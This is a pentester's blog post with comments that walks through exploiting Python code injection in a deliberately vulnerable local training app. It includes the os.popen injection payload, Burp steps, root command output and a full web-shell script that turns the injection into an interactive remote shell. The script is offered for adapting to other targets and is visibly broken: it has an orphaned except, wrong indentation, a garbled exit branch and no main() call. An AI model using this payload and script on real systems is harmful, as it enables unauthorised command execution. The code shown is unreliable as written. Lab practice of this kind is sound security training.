Exploiting Python Code Injection in Web Applications

I was looking into python code injection recently, and ran across SethSec's blog post.

This looked like a great example, and I wanted to run through it myself.

First off, I downloaded the PyCodeInjection application and got it running locally.

root@kali:~/Documents# ls
root@kali:~/Documents# git clone https://github.com/sethsec/PyCodeInjection.git
Cloning into 'PyCodeInjection'...
remote: Counting objects: 67, done.
remote: Total 67 (delta 0), reused 0 (delta 0), pack-reused 67
Unpacking objects: 100% (67/67), done.
Checking connectivity... done.
root@kali:~/Documents# cd PyCodeInjection/
root@kali:~/Documents/PyCodeInjection# ls
PyCodeInjectionShell.py README.md       VulnApp
root@kali:~/Documents/PyCodeInjection# cd VulnApp/
root@kali:~/Documents/PyCodeInjection/VulnApp# ls
PyCodeInjectionApp.py   install_requirements.sh requirements.txt    templates
root@kali:~/Documents/PyCodeInjection/VulnApp# ./install_requirements.sh 
./install_requirements.sh: line 5: apt-get: command not found
Collecting web.py (from -r requirements.txt (line 1))
  Downloading web.py-0.38.tar.gz (91kB)
    100% |████████████████████████████████| 92kB 1.7MB/s 
Building wheels for collected packages: web.py
  Running setup.py bdist_wheel for web.py ... done
Successfully built web.py
Installing collected packages: web.py
Successfully installed web.py-0.38
You are using pip version 8.1.2, however version 9.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
root@kali:~/Documents/PyCodeInjection/VulnApp# ls
PyCodeInjectionApp.py   install_requirements.sh requirements.txt    templates
root@kali:~/Documents/PyCodeInjection/VulnApp# python PyCodeInjectionApp.py 8123

Once the application was running, I verified that I was able to reach it through my browser.

Python Code Injection - Hello World

Python Code Injection - Vulnerable Application

I saw the GET requests to the vulnerable application, so I knew that I was up and running. - - [18/Nov/2016 13:00:24] "HTTP/1.1 GET /pyinject" - 200 OK - - [18/Nov/2016 13:00:56] "HTTP/1.1 GET /pyinject" - 200 OK - - [18/Nov/2016 13:01:08] "HTTP/1.1 GET /pyinject" - 200 OK

First, I sent a basic GET request with the mentioned parameters to the application.

Python Code Injection - Basic Request

Since nothing came from this yet (obviously), I also sent an example request with the cookie. I knew that this wouldn't cause any injection to occur, but it would let Burp know that there was a cookie that could be passed as well.

Python Code Injection - Request With Cookie

With my requests loaded up into Burp, I then kicked off Scanner. Within a few second, Scanner picked up on the Python Code Injection and reported it.

Python Code Injection - Burp Scanner

Forwarding Burp's request to Repeater, I was able to reproduce the 20 second sleep from the payload.

Python Code Injection - Burp Sleep

After verifying the code injection, I put a quick Python one-liner into my cookie. This will import os, run the popen method on 'id', and then read the object into a string.

Python Code Injection - ID Cookie

With my code injection working, I then set out to reproduce this in my browser. First, I URL encoded my payload to prevent any issues with the special characters.

Python Code Injection - URL Encode

Python Code Injection - URL in Browser

After properly encoding the payload, I sent my GET request and got the 'id' response in my browser!

Python Code Injection - Browser Exploit

Obtaining a "shell"

In addition, I decided to integrate my exploit with a modified version of RWSH.

Finally, after modifying RWSH (v1.0, stay on the lookout for a new version), I was able to obtain a "shell" with this python code injection.

root@attackKali:~# python pyInjectionShell.py 

[*] Connecting to web shell:

[*] Obtaining username.

[*] Obtaining hostname.

[+] Returning prompt!

root@kali:~$ id
uid=0(root) gid=0(root) groups=0(root)

root@kali:~$ whoami

root@kali:~$ ls -al
total 32
drwxr-xr-x  7 root  root   238 Nov 18 12:49 .
drwxr-xr-x  8 root  root   272 Nov 18 13:06 ..
-rw-r--r--  1 root  root  4067 Nov 18 12:47 PyCodeInjectionApp.py
-rw-r--r--  1 root  root  3586 Nov 18 12:49 PyCodeInjectionApp.pyc
-rwxr-xr-x  1 root  root   161 Nov 18 12:42 install_requirements.sh
-rw-r--r--  1 root  root     7 Nov 18 12:42 requirements.txt
drwxr-xr-x  3 root  root   102 Nov 18 12:42 templates

root@kali:~$ exit



The modified code for this exploit is below. Note that the HTML parsing isn't perfect, so you will have to modify this on a target by target basis.

import requests
import string
from bs4 import BeautifulSoup

def main():
    session = requests.Session()
    session.trust_env = False
    ip = ""
    port = "8123"
    filename = "pyinject"
    param = "param1"
    pycommand1 = "__import__('os').popen('"
    pycommand2 = "').read()"
    url = "http://" + ip + ":" + port + "/" + filename
    print "\n[*] Connecting to web shell:"
    print "    " + url
    print "\n[*] Obtaining username."

    command = "whoami"
    r = session.get(url, params={param: pycommand1 + command + pycommand2})

    username = ''
    soup = BeautifulSoup(r.text, 'html.parser')

    for br in soup.find_all("br"):
        if not '</br></br>' in str(br):
            username = br.text.strip()
    if "\\" in username:
        username = username.split("\\",1)[1]

    print "\n[*] Obtaining hostname."

    command = "hostname"
    r = session.get(url, params={param: pycommand1 + command + pycommand2})

    hostname = ''
    soup = BeautifulSoup(r.text, 'html.parser')

    for br in soup.find_all("br"):
        if not '</br></br>' in str(br):
            hostname = br.text.strip()

    print "\n[+] Returning prompt!\n\n"
        while True:
            cmd = raw_input(username + "@" + hostname + ":~$ ")
            if cmd == "exit":
                print "\n\n[-] EXITING\n"
                r = session.get(url, params={param: pycommand1 + cmd + pycommand2})
                soup = BeautifulSoup(r.text, 'html.parser')
                for br in soup.find_all("br"):
                    if not '</br></br>' in str(br):
                        print br.text.strip() + "\n"
    except KeyboardInterrupt:
        print "\n\n\n[-] EXITING\n"
if __name__ == "__main__":
doyler on Githubdoyler on Twitter
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Principal Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.


Filed under Security Not Included

5 Responses to Exploiting Python Code Injection in Web Applications

  1. Josh

    Dope! You should make YouTube vids. I would be nice to see some of your skills/techniques live.

    • Awesome, thanks for that. That’s a pretty good idea, and I’ll let you know once I make the first one!

      • Josh Holmes

        Sounds good! I have a question that doesn’t have much to do with this blog post. I know you got your ECPPT from ElearnSecurity. I’m currently enrolled in the course and studying for the exam. The course comes with a wifihacking section. Does the exam hack some sort of wifi hacking or is this just a bonus section?

        • I don’t even remember a WiFi section in my coursework to be honest. There was definitely no WiFi in my exam though, so you shouldn’t need to be worried about that.

          • Josh

            Thanks dude! After this exam I plan on either taking the mobile hacking course or web app course. I know you recently got your web hacking cert from eLearnSecurity. I may have more questions for you later on haha. I hope you don’t mind.

Leave a Reply

Your email address will not be published. Required fields are marked *


This site uses Akismet to reduce spam. Learn how your comment data is processed.